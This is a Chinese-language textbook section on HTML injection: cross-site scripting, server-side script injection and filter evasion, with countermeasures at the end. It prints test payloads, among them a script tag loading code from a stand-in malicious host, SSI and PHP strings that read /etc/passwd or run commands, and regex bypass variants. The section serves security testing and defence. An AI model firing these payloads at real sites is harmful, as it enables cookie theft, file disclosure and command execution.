6.4.3 HTML注入

脚本攻击包含任何向应用提交HTML格式字符串,然后呈现这些标记的方法。最简单的脚本攻击包括在表单域中输入<script>标记。如果这个域中用户提交的内容被重新显示,浏览器将把内容解释为JavaScript指令而不是显示字面上的<script>。这种攻击的实际目标是查看恶意内容并且沦为社会工程攻击猎物的其他应用用户。

这种攻击有两个先决条件。首先,应用必须接受用户输入。这似乎显而易见;但是,输入并不一定来自表单域。我们将列出一些可以在URL上测试的方法,但是首部和cookie也是有效的目标。其次,应用必须重显用户输入。这种攻击在应用呈现数据时发生,数据变成了Web浏览器解释的HTML标记。

跨站脚本(XSS)

跨站脚本攻击在其他用户查看的地方放置恶意代码,通常是JavaScript。表单中的目标域可以是地址、公告牌评论等。恶意代码通常窃取cookie,这使攻击者可以仿冒受害者或者进行社会工程攻击,哄骗受害者泄露其密码。这种社会工程攻击已经祸及Hotmail、Gmail和AOL。

本书不打算成为关于操纵浏览器漏洞的JavaScript或者超强技术的专著。下面有三种方法,如果成功,就说明应用容易遭到攻击:


<script>document.write(document.cookie)</script>
<script>alert('Salut!')</script>
<script src="http://www.malicious-host.foo/badscript.js"></script>

注意,最后一行从完全不同的服务器上调用JavaScript。这种技术避开了大部分的长度限制,因为badscript.js文件可以为任意的长度,而引用相对简短。除了混淆的层次之外,URL简写服务有时候可以用于进一步缩短字符串的长度。很容易对表单进行这些测试,只要在任何将被重显的域中尝试这些字符串就行了。例如,许多电子商务应用在输入地址之后显示一个校验页面。在街道名中输入<script>标记看看会发生什么。

还有其他进行XSS攻击的方式。前面我们已经暗示过,应用的搜索引擎是XSS攻击的主要目标。在搜索域中输入载荷,或者直接将其提交给URL:

http://www.website.com/search.pl?qu=<script>alert('foo')</alert>

我们已经发现错误页面常常是XSS攻击的目标。例如,一个普通应用错误的URL如下:

http://www.website.com/errors.asp?Error=Invalid%20password

这显示一个自定义访问拒绝页面如“Invalid password”(无效密码)。URL上的字符串反映出页面内容是XSS漏洞的重大征兆。可以这样创建攻击:

http://www.website.com/errors.asp?Error=<script%20src=...

也就是说,将脚本标记放在URL上,最终返回到浏览器执行。

利用执行任意脚本代码的能力,对最终用户进行广泛的一系列攻击是有可能的。现代浏览器漏洞利用框架使攻击者能够很容易地在XSS的受害者上使用预先制作的攻击模块,进行击键记录、分布式端口扫描、检测Tor网络或者执行其他浏览器功能。甚至存在对集成Metasploit攻击Internet Explorer或者进行Firefox插件攻击的支持。浏览器漏洞利用框架的进一步信息可以在本章结尾处的“参考与延伸阅读”小节中找到。

嵌入脚本

嵌入脚本攻击缺乏跨站脚本那样的流行性,但是它们并不一定较少见。XSS攻击针对其他应用的用户,嵌入脚本攻击则针对应用本身。在这种情况下,恶意代码不是一对<script>标记,而是格式化标记。这包括SSI指令、ASP括号、PHP括号、SQL查询结构甚至HTML标记。攻击的目标是提交数据,当应用显示时,作为程序指令执行或者破坏HTML输出。程序执行使攻击者能够访问服务器变量如密码和Web文档根目录之外的文件。不言而喻,嵌入式脚本给应用带来重大的风险。如果嵌入脚本仅仅破坏HTML输出,那么攻击者可能看到不能正确执行的源代码。这仍然可能暴露敏感的应用数据。

执行测试分成几类。应用审计不要求复杂的测试或者恶意代码。如果注入的ASP date 函数返回当前日期,则应用的输入校验例程是不能胜任的。ASP代码非常危险,因为它能执行任意命令或者访问任意文件:


<%= date() %>

服务器端包含也允许命令执行和任意文件访问:


<!--#include virtual="global.asa" -->
<!--#include file="/etc/passwd" -->
<!--#exec cmd="/sbin/ifconfig -a" -->

嵌入式的Java和JSP也同样危险:


<% java.util.Date today = new java.util.Date(); out.println(today); %>

最后,我们不要忘记PHP:


<? print(Date("1 F d, Y")); ?>
<? Include '/etc/passwd' ?>
<? passthru("id");?>

如果这样的一个字符串确实有效,那么应用中就有某些严重的破坏。语言标记如<?或<%通常在用户输入之前处理。这并不意味着附加的%>不会破坏一个JSP文件,但是如果失败,不要太过失望。

更切实可行的测试是破坏表格和表单结构。如果应用根据用户输入创建自定义表格,那么一个虚假的</table>标记可能提早结束页面。这可能导致一半的页面显示正常的HTML输出,另一半显示原始的源代码。这种技术对于动态生成的表单有效。

Cookie和预定义首部

Web应用测试人员总是审核cookie内容。毕竟,cookie可能受到操纵,用于仿冒其他用户或者提升权限。应用必须读取cookie,因此,cookie同样是脚本攻击的有效试验台。实际上,许多应用解释专门用于你的浏览器的附加信息。HTTP 1.1规范定义标识Web浏览器的User-Agent首部。你通常在这个字符串里看到某种“Mozilla”形式。

应用程序使用User-Agent字符串来适应浏览器的怪癖(因为没有人喜欢遵循标准)。基于文本的浏览器甚至让你指定一个自定义字符串:


$ lynx -dump -useragent="<script>" \
> http://website/page2a.html?tw=tests
...output truncated...
Netscape running on a Mac might send one like this:
User Agent: Mozilla/4.5 (Macintosh; U; PPC)
And FYI, it appears that the browser you're currently using to view
this document sends this User Agent string:

这是什么?应用无法确定我们的自定义User-Agent字符串。如果我们查看源代码,就会发现这种情况的起因:


<BLOCKQUOTE>
<PRE>
<script>
</PRE>
</BLOCKQUOTE>

所以,我们的<script>标记还是被接受了。这是易受攻击的应用的最好例子。这里要指出的一点是输入验证影响应用接收的任何输入。

HTML注入对策

对脚本攻击的最重要防御是将所有尖括号转换成HTML编码的等价字符。左尖括号用&lt;表示,而右尖括号用&gt;表示。这确保尖括号始终以无害的形式存储和显示。Web浏览器绝不会执行&lt;script&gt;标记。

有些应用打算让用户指定某些HTML标记如bold、italics和underline。在这种情况下,使用正则表达式验证数据。这些检查应该是相容的,而不是互相排斥的。换句话说,它们应该只寻找可接受的标记,允许这些标记,并且对余下所有尖括号完成HTML编码。例如,不恰当地尝试捕捉<script>标记的正则表达式可能受骗:


<scr%69pt>
<<script>
<a href="javascript:commands..."></a>
<b+<script>
<scrscriptipt> (bypasses regular expressions that replace "script" with null)

在这个例子中,查出阳性(<cTypeface:Bold>存在)比排除阴性(<script>不存在)更容易。

更多关于XSS和载荷编码替代方法的信息,可以在RSnake杰出的XSS参考中找到:http://ha.ckers.org/xss.html。